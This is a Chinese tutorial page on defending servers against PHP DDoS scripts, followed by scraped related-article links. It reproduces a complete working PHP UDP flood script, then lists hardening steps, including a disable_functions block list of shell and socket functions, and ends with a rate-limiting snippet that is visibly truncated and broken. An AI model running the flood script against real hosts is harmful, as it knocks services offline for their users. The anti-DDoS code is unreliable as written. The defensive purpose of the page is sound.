php ddos 防御,PHP DDos的几个防御方法详解
我们先来看php ddos代码
代码如下
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>
细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了。
于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法:
注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作。
1.打开php.ini
2.禁用危险函数
由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数。
找到disable_functions,将前面的“;”去掉,在等号后面增加:
代码如下
phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,
proc_get_status,fsocket,fsockopen
3.设置PHP执行超时时间
如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间。
找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30
4.禁用上传目录PHP执行权限
大概分为三种服务器: IIS,Apache、Nginx,具体步骤就不写了,放出个链接供大家参考:
iis与apache取消目录脚本执行权限方法:http://www.111com.net/sys/Windows/46232.htm
5.一个很暴力的方法
直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4
6.关闭用户中心
比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在。
7.修改管理员目录
这个方法就不细谈了,并不是对所有程序都适合。
8.修改默认管理帐号
很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名。
9.一个复杂且记得住的密码
不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.
后再再附一个php防ddos攻击的代码
代码如下
//加入禁止IP
$time=time();
$fileforbid="log/forbidchk.dat";
if(file_exists($fileforbid))
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid);
else{
$fileforbidarr=@file($fileforbid);
if($ip==substr($fileforbidarr[0],0,strlen($ip)))
{
if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}
}
}
}
//防刷新
$str="";
$file="log/ipdate.dat";
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);
if(!file_exists($file))file_put_contents($file,"");
$allowTime = 120;//防刷新时间
$allowNum=10;//防刷新次数
$uri=$_SERVER['REQUEST_URI'];
$checkip=md5($ip);
$checkuri=md5($uri);
$yesno=true;
$ipdate=@file($file);
foreach($ipdate as $k=>$v)
{ $iptem=substr($v,0,32);
$uritem=substr($v,32,32);
$timetem=substr($v,64,10);
$numtem=substr($v,74);
if($time-$timetem
if($iptem!=$checkip)$str.=$v;
else{
$yesno=false;
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";
elseif($numtem
else
{
if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);
$timepass=$timetem+$allowTime-$time;
die("Warning:"."
"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");
}
}
}
}
if($yesno) $str.=$checkip.$checkuri.$time."1rn";
file_put_contents($file,$str);
?>
相关教程 :
php ddos 防御,PHP DDos的几个防御方法详解相关推荐
- linux下防DDOS攻击软件及使用方法详解
互联网如同现实社会一样充满钩心斗角,网站被DDOS也成为站长最头疼的事.在没有硬防的情况下,寻找软件代替是最直接的方法,比如用 iptables,但是iptables不能在自动屏蔽,只能手动屏蔽. 一 ...
- php 防ddos,PHP DDos的几个防御方法详解
这类攻击有一个最大的特性,就是上传流量霎时增大,通常流量高达数十以至近百M,将整台效 劳器,以至将整台机柜的宽带堵住,使网站无法运转,而这样的攻击,我们无法从远程处理,一但那个phpshell运转,你 ...
- linux下防DDOS***软件及使用方法详解
互联网如同现实社会一样充满钩心斗角,网站被DDOS也成为站长最头疼的事.在没有硬防的情况下,寻找软件代替是最直接的方法,比如用 iptables,但是iptables不能在自动屏蔽,只能手动屏蔽. 一 ...
- 2020最全详解DDoS的攻击原理与防御方法
DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distributed Denial of Service的简写就是分布式拒绝服务,而DRDoS就是Distributed ...
- Linux下防御/减轻DDOS***的方法
今天要说的就是一款能够自动屏蔽DDOS***者IP的软件:DDoS deflate. 公司新的系统上线在即,防止别人***是一件令人头疼的事情.程序上的问题由开发的人员去处理,作为系统管理人员服务器的 ...
- ddos压力测试_蓝盟IT外包,浅析DDoS攻击防御和DDoS攻击原理
DDoS攻击基础 DDoS(Distributed Denial of Service,分布式拒绝服务)攻击的主要目的是让指定目标无法提供正常服务,甚至从互联网上消失,是目前最强大.最难防御的攻击之一 ...
- ddos攻击怎么防御,一文了解如何防御DDoS攻击
DDoS攻击是目前最普遍的网络攻击手段,DDoS攻击非常受黑客欢迎,因为DDoS攻击非常有效,易于启动,并且几乎不会留下痕迹.那么如何防御DDoS攻击呢?你能否确保对你的web服务器和应用程序提供高级 ...
- 700Gddos高防ip可以防御多少ddos cc攻击
700Gddos高防可以防御多少ddos cc攻击 700Gddos高防ip按这个数据是可以防御700G的ddos攻击流量的 不超这个量多没事 超了就看商家有没有更高的防御了 cc攻击目前也是主流的攻 ...
- DDoS deflate - Linux下防御/减轻DDOS攻击
前言 互联网如同现实社会一样充满钩心斗角,网站被DDOS也成为站长最头疼的事.在没有硬防的情况下,寻找软件代替是最直接的方法,比如用iptables,但是iptables不能在自动屏蔽,只能手动屏蔽. ...
- 最常见DDOS攻击工具有哪些?怎么防御DDOS攻击?
Botnets是由多个感染的计算机(称为"bots"或"zombies")组成的网络.这些感染的计算机受到攻击者的控制,可以同时发送大量的数据流量到目标网站,导 ...
最新文章
- 无限城市助力智慧城市 挥毫创新3.0时代
- 面试时真能“坦白从宽”?
- 81. Leetcode 21. 合并两个有序链表 (排序)
- 三角形css_使用css绘制三角形
- [BTS]使用BizTalk开发应用系统,就是这么简单!
- html文件嵌入到reportlab,Reportlab学习笔记
- cpu卡操作协议iso14443协议
- 小程序 坚屏_如何构建坚如磐石的应用程序
- 牛客16426 玩具谜题
- git restore
- iOS原生混合RN开发最佳实践
- HDU2110 Crisis of HDU【母函数】
- k8s之创建etcd集群
- 具体案例 快速原型模型_3D快速成型技术需要传统加工方法30%~50%的工时和20%~35%的成本,可以如此地降低成本?...
- prepareStatement的批量处理数据
- vivo手机拍照有什么技巧,如何拍出精美照片?
- PSPICE报错ERROR(ORPSIM-16276): Can‘t find library
- !!!---1588|Sum of All Odd Length Subarrays(新)
- 纯javascript的HTML在线编辑器
- 深度学习中:epoch、batch size和iterations之间的关系
热门文章
- QQ-AR实物识别!香蕉扫一扫,解救小黄人?
- 不容错过 | 华为内部资料--成功的项目管理PPT(123页)
- linux安装svn服务器的两种方式(转载)
- c语言的编译器vs2019的安装及简单实用
- 使用markdown写大论文
- 动态生成 fastCall(易语言 调用WKE浏览器)
- 2022 ECCV 三维人体重建相关论文汇总
- 海康威视录像机(DS-8632N-E8)开机卡LOGO
- Visio2010如何安装
- html用什么打开swf文件怎么打开,swf文件用什么打开,详细教您打开swf文件的操作...